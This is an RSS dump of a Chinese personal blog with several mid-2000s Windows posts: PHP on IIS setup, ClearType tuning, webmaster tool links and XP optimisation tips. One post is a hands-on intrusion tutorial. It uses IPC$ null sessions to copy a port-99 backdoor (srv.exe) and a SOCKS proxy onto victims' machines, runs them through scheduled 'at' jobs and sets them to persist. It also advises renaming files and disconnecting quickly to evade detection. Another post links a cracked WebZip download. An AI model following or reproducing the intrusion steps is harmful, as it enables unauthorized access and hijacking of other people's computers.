http://81884548.qzone.qq.com Wed, 25 Nov 2009 19:06:06 GMT Qzone zh-cn Copyright (C), 2005-2008, Tencent Tech. Co., Ltd. Fri, 26 Oct 2007 06:26:11 GMT http://81884548.qzone.qq.com/blog/1193379971 在“控制面板”的“管理工具”中选择“Internet 服务管理器”，打开 IIS 后停止服务，然后在左侧“默认Web站点”上单击右键选择“属性”，在打开的“默认 Web 站点属性”窗口的“ISAPI 筛选器”标签里找到并点击“添加”按钮，在弹出的“筛选器属性”窗口中的“筛选器名称”栏中输入：PHP，再将可执行文件指向 php4isapi.dll 所在路径，如：C:\PHP\sapi\php4isapi.dll。

2、打开“默认 Web 站点属性”窗口的“主目录”标签，找到并点击“配置”按钮，在弹出的“应用程序配置”窗口中找到并点击“添加”按钮，在弹出的窗口中新增一个扩展名映射，扩展名为 .php，单击“浏览”将可执行文件指向 php4isapi.dll 所在路径，如：C:\PHP\sapi\php4isapi.dll，然后一路确定即可。如果还想支持诸如 .php3，.phtml 等扩展名的 PHP 文件，可以重复“添加”步骤。

3、再打开“默认 Web 站点属性”窗口的“的“文档”标签，找到并点击“添加”按钮，向默认的 Web 站点启动文档列表中添加 index.php 项。您可以将 index.php 升到最高优先级，这样，访问站点时就会首先自动寻找并打开 index.php 文档。

4、确定 Web 目录的应用程序设置和执行许可中选择为纯脚本，然后关闭 Internet 信息服务管理器，在命令提示符中执行如下命令：


net stop w3svc
net stop iisadmin
net start w3svc



5、打开浏览器，输入：http://localhost/，看到成功页面后，在 IIS 根目录下新建一个 phpinfo.php，内容如下：


<?php
phpinfo();
?>



6、打开浏览器，输入：http://localhost/phpinfo.php，将显示当前服务器所支持 PHP 的全部信息，可以看到 Server API的模式为：ISAPI。
]]> http://81884548.qzone.qq.com/blog/1193379971#comment 512 Fri, 26 Oct 2007 06:26:11 GMT http://81884548.qzone.qq.com/blog/1193379971 http://81884548.qzone.qq.com/blog/3  序：因为贴出《如何入侵能建立IPC$空衔接的主机》后，信仰2提意见说贴一些教制作跳板的，所以就有了这篇帖子：）

 前提条件：找到能建立IPC空衔接的主机，如何找到请参阅《如何入侵能建立IPC$空衔接的主机》，我的主页上也有，网址是：topcoooler.51.net

需要工具：
Sksockserver.exe 下载地址：http://snake12.top263.net/SkSockServer/SkSockServer1.06.zip28KB

1: 开启CMD.EXE ，然后在流光的目录找到SRV.EXE (C:file*.**e)将srv.exe拷到C目录，还有将sksockserver.exe也拷到C目录里,最好都改个名字，这样改了名字就没这么容易被发现了。现在就可以输入net u** \*XX.XXX.XXX.XXX$ "密码" /user:用户名" ，如果成功的话将出现“命令完成”。
(注 ：NET USE \ip$ 密码 /user:用户名字)

2：将将SRV.EXE和sksockserver.exe拷到主机的SYSTEM32目录里。
命令为：
C:\srv.exe \\XXX.XXX.XXX.XXX\admin$\system32
C:\sksockserver.exe \\XXX.XXX.XXX.XXX\admin$\system32
成功拷贝的话，将会出现：“已复制 1个文件”的提示。
这个过程大概需要几分钟，等等吧：）

3：输入 net time \\XXX.XXX.XXX.XXX
这样我们就得到了主机的本地时间。

4：输入 at \\XXX.XXX.XXX.XXX 时间 要运行的程式 (记得时间是用主机的本地时间，一定要输入比本地时间迟几分钟！！！这样过几分钟后该程式将自动执行 ，还有 ，时间是按照国际时间的) ， 出现添加了一项作业，其作业ID-1，就表示已经增加了作业 ！！
如果要取消作业 ， 输入 at \XXX.XXX.XXX.XXX ID号码 /del

5：过几分钟 , 输入 at \\XXX.XXX.XXX.XXX 查看刚才要执行任务的情况 ，可以看到如下内容：
状态 ID 日期时间命令行
－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－

这就表示任务已经执行了 ！！

6：现在可以输入 telnet XXX.XXX.XXX.XXX 99 ( 刚才执行的srv.exe就是用来打开99端口的) ！！很快的，我们将可以进入目标的电脑系统了：）
这是显示为：
C:\WINNT\system32>

7：这是键入：C:\WINNT\system32>sksockserver －install
注意：现在不会显示你已经输入的命令文字 ， 放心 ，这是正常的 。然后按ENTER！

8：现在来指定打开哪个端口，你可以用 1199，2001等端口，也可以按下面输入：
C:\WINNT\system32>
C:\WINNT\system32>sksockserver.exe－config port 1127
这时屏幕显示：
The Port valve set to 1127

注:可以跳过以上步骤，默认端口是1813!!!

9：这时就输入：
C:\WINNT\system32>sksockserver -config starttyte 2
屏幕显示：
The New StartType have set to 2 --Auto

这样就不怕目标重新启动系统后你的跳板就停止运行 ：）

10：依照下面输入，你就拥有了自己的跳板了：）
命令为：
C:\WINNT\system32>
C:\WINNT\system32>net start skserver
屏幕显示：
The Snake SockProxy Serviceservice is starting.
The Snake SockProxy Serviceservice was started successfully.

11：现在要离开这台主机了，连接太久容易被发现嘛：）
输入：
net u** \\*XX.XXX.XXX.XXX /del
屏幕显示：
\\XXX.XXX.XXX.XXX 已经删除。

你也可以检查一下，输入：
net use
屏幕显示：
会纪录新的网络连接。

清单是空的
（如果不是这样就说明，还连着！）


12：打开，snake的代理跳板GUI版，就会看到属于你自己的跳板正在替你疯狂的冲浪：）


PS：本篇文章是本人整理tekwei的《DIY socks5》而得，如果你还不懂可以到“tekwei的主页”下载CIH版。我的主页上有他的衔接，不好意思：）是真的不记得了，我只记得：www.tekwei.org你们试试，不行的话从我网站衔接吧：）我的网址是：topcooler.51.net，上面都是菜鸟黑客教程，欢迎广大菜鸟朋友看看：） ]]> http://81884548.qzone.qq.com/blog/3#comment 512 Sat, 18 Nov 2006 15:10:10 GMT http://81884548.qzone.qq.com/blog/3 http://81884548.qzone.qq.com/blog/2
　　一、调节系统字体的显示清晰度

　　调节方法很简单，在微软公司的网页上调节ClearType字体即可，下面会一步步介绍如何调节。

　　由于在调节的过程中，网页会安装一个微软公司的ActiveX控件(也是一种程序)，所以请注意如果你的浏览器出于安全考虑过滤了控件安装，请开启它

　　1) 访问

　　http://www.microsoft.com/typography/cleartype/tuner/1.htm

　　此时会弹出Microsoft Clear Tuning Control控件的安装对话框，点击安装即可 - 程序会自动完成安装，安装后会自动回到页面

　　(此控件为微软发布，上面有微软的数字签名，所以请放心安装)

　　页面显示调节的第一步 Step 1: Turn on Windows XP ClearType (开启Windows XP的ClearType功能)

　　复选页面底部的Turn on ClearType(开启ClearType)，然后点击Next按钮

　　2) 进入Step 2: Select ClearType configuration(选择ClearType配置类型)后，有两幅图显示不同方案下的显示效果

　　左边为使用RGB的ClearType方案，右边为BGR

　　哪副图看起来清楚，没有重影，就点击选择哪边

　　推荐选择左边的RGB

　　然后点击Next按钮进入下一步

　　3) 进入Step 3: Tune ClearType settings (调节ClearType设置)

　　一共有6幅图，显示不同的ClearType重量等级情况下的文字显示情况，在你觉得显示效果最佳的文字显示图上点击，选中此种方案，选中后图片周围的边框会加粗

　　然后选择Finish即可

　　此时ClearType字体调节完成，你可以马上从浏览器界面上的文字变化看出来效果，如果不满意，可以后退到Step3重新选择别的图

　　二、删除垃圾


　　如果您觉得以后不再需要重新设置，可以删除第一步的时候安装的Clear Tuning Control控件 - 该控件仅用于调节ClearType参数，不是必须的程序。

　　您可以按如下设置删除该控件

　　1) 在浏览器菜单中选择Internet选项，弹出Internet选项对话框

　　2) 点击第二排的设置按钮，弹出设置对话框

　　3) 点击查看对象按钮，弹出查看对象的资源管理器，上面会列出已经安装的ActiveX控件

　　4) 点击选中CTAdjust Class，按下Delete键，系统会提示您是否删除该控件

　　三、ClearType原理几句话简介

　　关于ClearType的介绍充满了神话和传说，其实这东西简单的很，就是为文字轮廓加入一些补偿像素，使文字看起来平滑圆润。

　　下面这张图可以看到文字开启和关闭ClearType处理时候显示的效果，开启后文字变得圆滑起来

另外:有些介绍中说的ClearType技术只对液晶显示屏才有效，对传统CRT反而使文字变得不清楚 - 这是错误的理解。其实它对哪种显示屏起的作用都一样，如果你喜欢它，那么CRT显示屏同样可以开启。只不过对于液晶显示屏，由于像素都是方形，所以开启后效果更好一些，而由于有的CRT显示屏由于聚焦本身就不清晰，所以才会让人觉得反而开启后失真。 ]]> http://81884548.qzone.qq.com/blog/2#comment 513 Mon, 13 Nov 2006 00:39:16 GMT http://81884548.qzone.qq.com/blog/2 http://81884548.qzone.qq.com/blog/1 站长工具:
服务器用户及过期域名查询方法（简）
http://www.whois.sc/
可以查域名所在服务器及注册信息及这台服务器上有多少个虚机用户...(需注册)
http://www.deleteddomains.com
可以查今日，及近半年将过期的域名，提供多种形式的搜索...
http://pool.com/
http://www.registercn.com/delete/
中文：提供删除域名综合查询、四位以内域名查询和特殊含义域名查询等。
关于虚拟主机空间几种常见的资源限制（购买空间必读）
关于虚拟主机空间几种常见的资源限制
比如
限制cpu占用，又比如限制流量， 又比如限制iis（仅限于asp空间）
现在有一些空间商是不限制流量的。但也有不少的空间商限制流量。比如每月最大流量不超过40gb
cpu占用。比如100多元价位的空间，空间商给你1％左右的cpu占用。对于在空间上放置论坛的用户来说，这种限制会使你的在线人数很低。因为，论坛很占用cpu资源
iis限制，仅在asp,asp.net空间中出现，100个iis连接就相当于你的网站可以被允许100张页被同时存在。超过了就会提示：连接用户太多。
空间商不对虚拟主机做资源限制是不可能的事情。上述三种限制中至少会有一种出现。
我们暂且不说一台标准的服务器存放多少个用户（据业内估计，一台标准的服务器存放虚拟主机用户数量大约在200到500个之间）。这也是为什么做虚拟主机现在还是这么赚的。并且做的人也这么多的原因吧。因为有较大的利润，也产生众多的所谓的代理（他们可以从空间商处拿到10％到50％不等的利润）。
正因为一台虚拟主机放置了如此多的用户，空间商不对虚拟主机空间用户做限制，这显然是不可能的事情。
另外，大家买空间最好不要通过所谓的代理购买。事实上，只要你肯磨嘴皮子，直接跟虚拟主机提供商联系，照样可以取得实惠的价格。
webzip可用的破解版下载地址(下整站用的)
http://soft.winzheng.com/SoftView/SoftView_22036.htm
http://soft.winzheng.com/SoftView/SoftView_22037.htm
改站必备工具 EditPlus
批量修改html文件.
http://www.editplus.com/download.html
ftp://ftp.editplus.com/epp212_en.exe ]]> http://81884548.qzone.qq.com/blog/1#comment 512 Thu, 01 Jun 2006 09:22:34 GMT http://81884548.qzone.qq.com/blog/1 http://81884548.qzone.qq.com/blog/0 基 本 概 念
操作系统的选择：抢先式多任务系统与试验式多任务系统有本质区别。前者可以对多任务和线程提供了更加平滑的切换，在放弃CPU控制过程中不需要对每个程序的照顾；而且其隔离组件和并列共享又区别于早期的NT架构，没有让PCI设备共享一个中断，从而解决了DLL冲突，并用虚拟机来解决软件兼容。因此，XP或Server 2003是目前唯一选择。
操作系统的版本：Server 2003是服务器版；XP是工作站版。Server 2003的稳定性和安全性高于XP是不容置疑的。但是，这一点并不是普通用户抛弃XP的理由，因为XP也提供了大部分网络服务功能，只是没有默认安装。唯一值得考虑的是Server 2003提供了VPN虚拟专用网络服务是XP所没有的。由于Server 2003开放了全部网络服务功能，并关闭了一些工作站所需要的兼容服务和媒体功能。因此，不建议一般用户使用。如果将Server 2003作为工作站使用，还必须对其进行比较麻烦特殊的调整，如果设置不当反而降低了安全性，且兼容性较差。
系统资源与速度：组成用户界面的字体、位图、图标、光标、窗口、菜单等实际数据结构称为“资源”。使用的实际数据结构太多时系统运行就慢，实际反映在启动和运行速度上。由于硬盘存储速度与内存相比较慢。如果内存够大则应尽可能地降低硬盘使用率，更多地依赖内存进行工作，因此增大内存和提高内存使用率是提高运行速度的最佳途径。
资源管理与堆栈：系统的资源管理工作由GDI.EXE和USER.EXE两个程序来完成。并分配了一定的内存区域来存放资源，称为“堆栈”。成熟的软件在退出时有义务释放占用的内存资源。不成熟的软件则不能主动释放，必然会有“内存不足”等怪现象出现，其实用作资源堆的“内存”不足，并非实际物理内存不足。因此，应用软件尽可能使用正式版，而不要使用测试版。
效率与解决故障：为了易用，Windows系统开放了一些普通用户用不到的端口和服务，方便的同时不但带来了安全隐患，还使效率降低。因此用户有必要做一些设置和调整，这些常规的调试系统自带的工具都可以解决。对于故障，普通用户修复比重新安装还要麻烦。关键在于：想找出错误，还是想让它工作正常。从某种意义上看速度不是第一，稳定与安全才是关键。
关于启动
启动问题可能是用户最为关心的，影响系统启动速度的因素主要有硬件、网络、服务和资源四个方面：
一、硬件
1、光驱跳线默认设置是Slave，而系统启动时首先检测的是Master设备。因此，应将光驱跳线改到Master上，避免浪费时间。另外凡是没有的硬件都应该在BIOS里将其关闭，以免系统启动时检测延缓启动时间。
2、当硬件无需改动和基本设置完成后，将“设备管理器”中的“IDE ATA/ATAP控制器”次要和主要IDE通道的“自动检测”改为“无”可有效地缩短启动时间，具体表现在启动时滚动条的滚动次数减少。
二、网络
1、单机用户和局域网的客户机，应卸载“本地连接”中的“Microsoft网络的文件和打印机共享”服务，照样可以共享主机上的文件和打印机，事实上卸载了该服务，也就是关闭了危险的137、138、139、445端口。
2、在局域网内，系统会自动通过DHCP来获得IP地址，但大多数局域网并没有DHCP服务器，如果设置为“自动获得IP地址”，启动时就会在网络中搜索DHCP服务器，影响启动时间，因此局域网用户最好指定固定IP地址。
3、笔记本用户应停用暂时不用的网络连接，启动可加快。
三、服务
服务不仅仅关系到启动，还关系到安全和运行速度。因此应该按照自己的需要决定其自动、手动还是禁用，具体可以参考下面的关于服务。
四、资源
1、实际数据结构太多不但系统运行慢，也影响启动速度。首先应了解资源的概念；应用软件在启动时加载也是一种资源的占用，很多软件缺省就是自动加载，应当调整为应用时启动。
2、如果没有软驱，使用杀毒软件时应在实时杀毒任务属性中，把查杀软驱选项去掉，否则杀毒软件会寻找软驱，导致机器很慢。
内存整理
众所周知，增大内存和提高内存使用率是提高运行速度的最佳途径，因此很多人关注内存整理问题。也有各种相应的内存整理软件，事实上一般用户并不需要，因为内存整理软件只是提供给运行大型3D程序用户使用的。一般用户关键是尽可能使用正式版的软件，而不要使用测试版。（这里正式版是指的正式版本）
低配置减肥
如何让XP跑得流畅，可能是很多使低配置电脑面临的问题。微软根据其商业战略，Windows系统都开放了一些普通用户用不到或不常用的端口、服务以及组件，方便的同时不但带来了安全隐患，效率也随之降低。对于低配置电脑，减肥并非目的，提高运行效率才是关键，所以应该在考虑卸载不需要的组件，而不仅仅是一点微不足到的磁盘空间。说白了应该卸组件而不是删文件。
XPlite是卸载组件的不错选择；最新版v1.5.0273。此版本可靠性有了进一步提高，使用也较为简单。其中唯一难以取舍的是Operating System Optiongs一项：建议一般用户仅保留：Program Compatibility Engine（系统兼容）、核心字体、驱动缓存即可；其它项视个人情况而定，删与不删都不会对系统有大的影响，尤其是去掉ODBC（数据源）可使系统变得异常轻松；如果常用的大型软件已经安装，“系统兼容”一项也可去掉，否则只能安装和运行32位程序。
注册表
注册表是应用程序和计算机系统配置信息的数据库。了解注册表是系统管理的基本常识。但并非像某些大侠所说的那样可怕，损坏了在DOS下修复：scanreg /fix； 备份scanreg /backup；恢复scanreg /restore 即可。不过通常无需改动注册表，因为很多设置都可以在组策略里完成。如果确实有对系统必要的修改方案，可以将修改方案做成注册表文件，一次完成全部修改。好处是不但安全，在重装系统时还可以继续使用。
关于注册表被锁，很多介绍解锁的方法是将“DisableRegistryTools”键值取消或者设为“0”。事实上，这种方法只适合REG文件与regedit.exe文件相关联才可以，这种关联不存在，这种方法就不可能有效。
真正的解决办法：利用windows系统的设备驱动程序文件——INF文件，此类文件同样可以修改注册表。实现过程：用记事本编缉一个文本，输入以下内容。保存为*.inf文件，右击“安装”即可解锁。
输入的内容：
[Version]
Signature="&#36;Chicago&#36;"
[DefaultInstall]
DelReg=Delreg
[Delreg]
HKCU,"Software\Microsoft\Windows\CurrentVersion\Policies\System","DisableRegistryTools"
安全防护
网络的开放必然带来安全问题，但是对于个人用户完全没有必要谈虎变色。
防火墙：个人用户如果不开放web或ftp服务器，就没有必要再另行安装防火墙，系统自带的防火墙足以，且没有任何冲突。
杀毒软件：杀毒软件与防火墙是两个概念，建议最好安装一个，但必须及时更新，否则就没有参照体，杀毒软件对新的病毒就不会有反应，也就失去了杀毒的功能了。
杀毒软件的选择：很多人在讨论杀毒软件占资源问题，其实杀毒软件必须常驻内存的，否则也就不能实时监控了，不占资源的杀毒软件恐怕靠不住（个人观点）；关键是看其引擎是否先进，病毒库升级是否及时。
关于木马：经常进行网上交易的用户要注意木马，好在此类软件很多，找一个，定期清理。
另外，如果机器配置确实较低，打开系统自带的放火墙，做个镜像裸奔亦可，中招就恢复。
服务项目
一、单机上网或局域网工作站用户所需的基本服务
1、com+Event system：组件事件提供自动分布功能服务。如果改为“手动”，系统会自动强行启动。
2、DNS Client：将域名解析为IP地址；自动
3、Event Log：事件记录，关键服务；自动
4、Network Connections：网络用（防火墙关联）；自动
5、Plug and Play：即插即用；自动
6、Remote Access Connection Manager：创建网络连接；自动（路由关）
7、Remote Procedure Call (RPC)：核心服务；自动
8、Telephony：提供TAPI的支持（与创建网络关联）；自动
9、Windows Audio：声音控制；自动
10、Windows Firewall/Internet Connection Sharing (ICS)防火墙；自动
11、Windows Management Instrumentation：重要服务；自动
12、Workstation：工作站网络必要的功能；自动
二、局域网服务器端需要打开的服务
1、Network Location Awareness (NLA)：保存网络配置
2、server：文件、打印\管道命名共享
3、TCP/IP NetBIOS helper：小而快的Netbios协议，对等网用。
说明：如果是对等网需要互访，则网络内的所有计算机都是服务端
三、远程互连需要添加的服务
1、terminal services：终端机服务，远程桌面。
2、World Wide Web Publishing：启用Web远程桌面的才有此项。
四、可选的服务
1、Application Layer Gateway Service：第三方防火墙支持；不用其它防火墙；关
2、COmputer browser：局域网浏览；关了在“网上邻居”看不到其它电脑，但是可用命令进入。
3、DHCP client：动态主机配置协议，管理网络设定DHCP客户端；自动配置IP地址，开；指定IP地址，关。
4、SSDP Discovery service：使用网络上的扫瞄器、打印机；玩DirectX游戏时，网络连接多人对战时困难，设置为“自动”，这个服务存在一些问题，比如：它会向UDP端口1900发送太多广播。
五、非系统服务
1、ATI Smart：测试ATI显卡升级驱动的兼容性和稳定性，并自动调整AGP总线设置；建议开
2、Ati HotKey Poller：ATI显卡驱动程序的服务，占用相当多的CPU资源，同时导致关机速度变慢；禁用
3、NVIDIA Driver Helper Service：NVIDIA显卡驱动程序生成的服务，占用大量资源。同时导致关机速度变慢；禁用
4、Machine Debug Manager：Office 组件服务。用于Debug除错调试，如果不需要进行调试，可禁止该服务。 ]]> http://81884548.qzone.qq.com/blog/0#comment 8 Fri, 18 Nov 2005 02:28:26 GMT http://81884548.qzone.qq.com/blog/0